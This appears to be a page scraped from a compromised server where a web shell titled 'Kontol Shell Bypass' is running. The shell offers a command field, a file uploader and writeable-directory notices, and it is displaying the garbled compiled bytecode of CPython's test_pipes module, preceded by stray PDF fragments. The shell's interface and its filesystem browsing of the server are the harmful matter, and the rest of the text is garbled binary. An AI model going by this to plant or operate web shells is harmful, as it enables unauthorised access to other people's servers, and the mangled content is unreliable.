%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_pipes.cpython-39.pyc
a

�_gX�@s�ddlZddlZddlZddlZddlZddlmZmZmZm	Z	ej
dkrTe�d��edZdej
ejfZGdd�dej�Zd	d
�Zedkr�e�dS)�N)�TESTFN�run_unittest�unlink�
reap_children�posixz pipes module only works on posix�2ztr %s %sc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZdS) �SimplePipeTestscCsttfD]}t|�qdS�N)r�TESTFN2r)�self�f�r
�./vddos/python/lib/python3.9/test/test_pipes.py�tearDownszSimplePipeTests.tearDowncCs�t�d�dur|�d�t��}|�ttj�|�t	d��}|�
d�Wd�n1sZ0Ytt	�� }|�|��d�Wd�n1s�0YdS)N�tr�tr is not available�wzhello world #1zHELLO WORLD #1)
�shutil�which�skipTest�pipes�Template�append�	s_command�STDIN_STDOUT�openr�write�assertEqual�read)r�trr
r
r�testSimplePipe1s
(
zSimplePipeTests.testSimplePipe1cCs�t�d�dur|�d�ttd��}|�d�Wd�n1sB0Yt��}|�t	dtj
�|�tt�tt�� }|�
|��d�Wd�n1s�0YdS)Nrrr�hello world #2z
 < $IN > $OUT�HELLO WORLD #2)rrrrrrrrrr�FILEIN_FILEOUT�copyr
rr�rrrr
r
r�testSimplePipe2s
(
zSimplePipeTests.testSimplePipe2cCs�t�d�dur|�d�ttd��}|�d�Wd�n1sB0Yt��}|�t	dtj
�|�td�}z|�|��d�W|�
�n
|�
�0dS)Nrrrr!z < $IN�rr")rrrrrrrrrr�
FILEIN_STDOUTrr�closer%r
r
r�testSimplePipe3*s
(zSimplePipeTests.testSimplePipe3cCs�d}ttd��}|�|�Wd�n1s.0Yttd��}|�d�Wd�n1sb0Yt��}|�tt�tt�� }|�|��|�Wd�n1s�0YdS)Nzempty pipeline test COPYr�)	rrrr
rrr$rr�r�drrr
r
r�testEmptyPipeline17s((
z"SimplePipeTests.testEmptyPipeline1cCsxd}ttd��}|�|�Wd�n1s.0Yt��}|�td�}z|�|��|�W|��n
|��0dS)Nzempty pipeline test READrr')rrrrrrrr)r,r
r
r�testEmptyPipeline2Cs(z"SimplePipeTests.testEmptyPipeline2cCs~d}t��}|�td��}|�|�Wd�n1s80Ytt�� }|�|��|�Wd�n1sp0YdS)Nzempty pipeline test WRITEr)rrrrrrr)rr-rrr
r
r�testEmptyPipeline3Os(
z"SimplePipeTests.testEmptyPipeline3cCs:t��}|�t|�d�|�dtj�|�t|�d�dS)Nz<Template instance, steps=[]>�
tr a-z A-Zz1<Template instance, steps=[('tr a-z A-Z', '--')]>)rrr�reprrr�rrr
r
r�testReprXs
�zSimplePipeTests.testReprcCs<t��}|�d�|�|jd�|�d�|�|jd�dS)NFT)rr�debugr�	debuggingr3r
r
r�testSetDebug_s


zSimplePipeTests.testSetDebugcCs,t��}|�dtj�|�t|jdd�dS)N�boguscmd�	bogusfiler')rrr�SINK�assertRaises�
ValueErrorrr3r
r
r�testReadOpenSinkfsz SimplePipeTests.testReadOpenSinkcCs,t��}|�dtj�|�t|jdd�dS)Nr8r9r)rr�prepend�SOURCEr;r<rr3r
r
r�testWriteOpenSourcemsz#SimplePipeTests.testWriteOpenSourcecCs�t��}|�t|jdtj�|�t|jdd�|�t|jdtj�t��}|�dtj�|�t|jdtj�t��}|�t|jdtj	�t��}|�t|jdtj
�t��}|�t|jdtj	�t��}|�t|jdtj�dS)N�r8�xx�
boguscmd $OUT�boguscmd $IN)rrr;�	TypeErrorrrr<r?r:r#r(�
STDIN_FILEOUTr3r
r
r�testBadAppendOptionsts.����z$SimplePipeTests.testBadAppendOptionscCs�t��}|�t|jdtj�|�t|jdd�|�t|jdtj�t��}|�dtj�|�t|jdtj�t��}|�t|jdtj	�t��}|�t|jdtj
�t��}|�t|jdtj	�t��}|�t|jdtj�dS)NrAr1rBr8rCrD)rrr;rEr>rr<r:r?r#r(rFr3r
r
r�testBadPrependOptions�s.����z%SimplePipeTests.testBadPrependOptionscCst��}|�t|jdd�dS)Nr9�x)rrr;r<rr3r
r
r�testBadOpenMode�szSimplePipeTests.testBadOpenModecCsnt��}|�dtj�|��}|�t|�t|��|�|j|j�|�t|j�t|j��|�|j	|j	�dS)Nr1)
rrrrZcloneZassertNotEqual�idrZstepsr6)rr�ur
r
r�	testClone�szSimplePipeTests.testCloneN)�__name__�
__module__�__qualname__rr r&r*r.r/r0r4r7r=r@rGrHrJrMr
r
r
rrs

	"!rcCstt�t�dSr	)rrrr
r
r
r�	test_main�srQ�__main__)r�os�stringZunittestrZtest.supportrrrr�nameZSkipTestr
�ascii_lowercase�ascii_uppercaserZTestCaserrQrNr
r
r
r�<module>s

6

Kontol Shell Bypass